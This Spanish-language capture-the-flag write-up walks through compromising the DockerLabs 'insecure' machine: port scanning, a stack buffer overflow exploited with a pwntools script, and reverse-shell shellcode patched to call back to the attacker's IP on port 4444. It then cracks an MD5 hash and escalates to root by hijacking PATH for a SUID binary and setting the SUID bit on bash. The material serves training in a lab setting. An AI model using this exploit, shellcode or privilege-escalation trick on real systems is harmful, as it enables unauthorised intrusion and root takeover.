Estamos ante un docker que contiene una distribución Linux. Es de nivel difícil y es de la plataforma dockerlabs.
Enumeración
Escaneo de puertos
Utilizamos Rustscan para identificar rápidamente los puertos abiertos en la IP objetivo:
$ rustscan -a 172.17.0.2 -b 10
Open 172.17.0.2:80
Open 172.17.0.2:20201
Ahora usamos Nmap para obtener más información sobre los servicios que corren en los puertos identificados:
$ sudo nmap -sCV -p80,20201 -v 172.17.0.2
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: software installation
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.62 (Debian)
20201/tcp open unknown
| fingerprint-strings:
| GenericLines:
| Enter data: Data received correctly
| NULL:
|_ Enter data:
Obtenemos el siguiente resultado:
- Puerto 80: Corriendo Apache HTTPD 2.4.62 (Debian). El sitio muestra un título de “software installation”.
- Puerto 20201: Servicio desconocido que acepta entradas con el mensaje “Enter data: Data received correctly”.
Enumeración web
Exploramos la web con curl
:
$ curl -vvvv http://172.17.0.2
...
<a style="display: block; width: 100px; margin: 0 auto;" href="./secure_software">download</a>
....
Vemos que hay un enlace para descargar un posible “software”. Lo descargamos y le damos permisos de ejecución:
$ curl http://172.17.0.2/secure_software -O
$ chmod +x secure_software
Intrusión
Ahora que tenemos el fichero en nuestro equipo vamos a intentar ganar acceso a través del binario. Empezamos abriendo el binario con gdb:
Una vez dentro vamos a crear un patrón por si hubiera un Stack Buffer Overflow. Usamos el comando pattern create 400
:
Ejecutamos el binario dentro de gdb con run
:
En otra consola nos conectamos al binario mediante telnet con telnet localhost 20201
y mandamos el patrón que hemos generado anteriormente.
Volvemos a la consola donde se está ejecutando gdb y vemos que la aplicación se ha terminado con SIGSEV.
Ahora tenemos que buscar el offset, el numero de bytes a partir del cual el programa falla. Para ello usamos el comando pattern offset
junto con la dirección de memoria que nos indica:
Ahora que ya sabemos el offset vamos a crearnos un script en python usando la librería pwntools de Python. En este primer script vamos a intentar ver si llena el registro $eip con la letra B (“\x42”). Para ello creamos un payload con 300 caracteres A más 4 B’s.
#!/usr/bin/env python3
from pwn import *
log.warning(f'Usage: python3 {sys.argv[0]} [ip:port]')
context.binary = 'secure_software'
payload = "A"*300 + "B"*4
if len(sys.argv) > 1:
ip, port = sys.argv[1].split(':')
p = remote(ip, port)
else:
p = process(context.binary.path)
p.sendlineafter(b'Enter data: ', payload)
p.interactive()
Volvemos a ejecutar el binario en gdb y cuando este listo escuchando ejecutamos el script para que se conecte a nuestra máquina desde otra consola:
$ python3 exploit.py 172.17.0.1:20201
[!] Usage: python3 exploit.py [ip:port]
[*] '/home/mur/machines/dockerlabs/insecure/secure_software'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[←] Opening connection to 172.17.0.1 on port 20201: Trying 172.[+] Opening connection to 172.17.0.1 on port 20201: Done
/home/mur/machines/dockerlabs/insecure/exploit.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b'Enter data: ', payload)
[*] Switching to interactive mode
$
Vemos que el script se ha ejecutado correctamente. Ahora nos movemos a gdb y ejecutamos register
para ver que hay en los registros:
Como vemos se ha sobrescrito el registro $eip con el caracter B(\x42)
El siguiente paso es ver como desborda la pila para poder mandar nuestro shellcode y lo ejecute. Le añadimos 100 C’s al final del payload y lo volvemos a ejecutar (hay que reiniciar el binario en gdb)
#!/usr/bin/env python3
from pwn import *
log.warning(f'Usage: python3 {sys.argv[0]} [ip:port]')
context.binary = 'secure_software'
payload = "A"*300 + "B"*4 + "C"*100
if len(sys.argv) > 1:
ip, port = sys.argv[1].split(':')
p = remote(ip, port)
else:
p = process(context.binary.path)
p.sendlineafter(b'Enter data: ', payload)
p.interactive()
En gdb vamos a ver los siguientes 30bytes después del registro $esp. Para ello ejecutamos x/30x $esp
:
Para terminar vamos a meter un shellcode que nos de una reverse shell. Usaremos el siguente shellcode https://www.exploit-db.com/shellcodes/50125 . Como vemos en las notas habría que modificar los bytes para incorporar nuestra dirección IP a partir del byte 26.
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
/* Default IP and port at 26th and 32nd byte index: \x7f\x01\x01\x01 \x11\x5c */
Para convertir nuestra IP a bytes usaremos python3 -c "import socket; print(socket.inet_aton('172.17.0.1'))"
que nos devolverá b’\xac\x11\x00\x01’ . La shellcode quedaria asi:
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\xac\x11\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
Modificamos el script para poder incorporar la shellcode:
#!/usr/bin/env python3
from pwn import *
log.warning(f'Usage: python3 {sys.argv[0]} [ip:port]')
context.binary = 'secure_software'
rop = ROP(context.binary)
eip = p32(rop.jmp_esp.address)
reverse = b"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\xac\x11\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
payload = b"A"*300
payload += eip
payload += reverse
if len(sys.argv) > 1:
ip, port = sys.argv[1].split(':')
p = remote(ip, port)
else:
p = process(context.binary.path)
p.sendlineafter(b'Enter data: ', payload)
p.interactive()
Lo probamos en local primero y cuando vemos que funciona lo ejecutamos contra la máquina victima. Nos ponemos a la escucha en nuestra máquina en el puerto 4444, como esta en la shellcode.
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Y ejecutamos el script:
$ python3 exploit.py 172.17.0.2:20201
Obtenemos la shell y hacemos el tratamiento de la tty:
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:34020.
whoami
securedev
Escalada de privilegios
Movimiento lateral
Una vez dentro de la máquina vamos a enumerar primero el Home del usuario:
securedev@6a2ba51ee826:/home/securedev$ ls -l
total 20
-rw-r--r-- 1 securedev securedev 68 Sep 6 14:05 hashfile
-rwxr-xr-x 1 securedev securedev 15264 Sep 6 14:36 secure_software
Encontramos un hash:
securedev@6a2ba51ee826:/home/securedev$ cat hashfile
This is for you, john the ripper:
21571b31a8d2e8b03690989835872cc6
No tenemos suerte con el rockyou, asi que seguimos buscando por la máquina. Vamos a ver que usuarios hay en el sistema:
securedev@6a2ba51ee826:/home/securedev$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
securedev:x:1000:1000::/home/securedev:/bin/bash
johntheripper:x:1001:1001::/home/johntheripper:/bin/bash
Ahora buscamos ficheros del user johntheripper:
securedev@6a2ba51ee826:/$ find / -user johntheripper -type f 2>/dev/null
/opt/.hidden/words
Vemos el contenido del fichero encontrado:
securedev@6a2ba51ee826:/$ cat /opt/.hidden/words
I love these words:
test123test333
333300trest
trest00aa20_
_23t_32_g4
testnefg321ttt
trestre2612t33s
11tv1e0st!!!!!
!!10t3bst??
tset0tevst!
ts!tse?test01
_0test!X!test0
0143_t3s5t53_0
Nos llevamos a nuestra máquina los ficheros e intentamos sacar la pass con hashcat:
hashcat -m 0 hash words.txt
21571b31a8d2e8b03690989835872cc6:tset0tevst!
Nos cambiamos de usuario:
securedev@6a2ba51ee826:/$ su johntheripper
Password:
johntheripper@6a2ba51ee826:~$
Hacemos los mismo que con el usuario securedev, listamos el directorio Home y nos encontramos un nuevo binario con permisos SUID de root. Nos lo mandamos a nuestro equipo.
Escalada a root
Lo abrimos con gdb y hacemos disas main para ver el código en ensamblador:
Podemos ver que hace una llamada a una función system.
Ahora abrimos con ida Free el binario y vemos que la llamada system es ejecutar ls.
Vamos a modificar el path para añadir el directorio home del usuario. Ejecutamos:
johntheripper@6a2ba51ee826:~$ export PATH=/home/johntheripper/:$PATH
PATH=/home/johntheripper/:johntheripper@6a2ba51ee826:~$ echo $PATH
/home/johntheripper/:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.
Creamos en el directorio home del usuario johntheripper un archivo llamado ls que ejecute lo siguiente y después le damos permisos de ejecución:
#!/bin/bash
chmod +s /usr/bin/bash
Ahora ejecutamos el binario show_files y después ejecutamos bash -p para obtener la shell de root:
johntheripper@6a2ba51ee826:~$ ./show_files
johntheripper@6a2ba51ee826:~$ bash -p
bash-5.2# whoami
root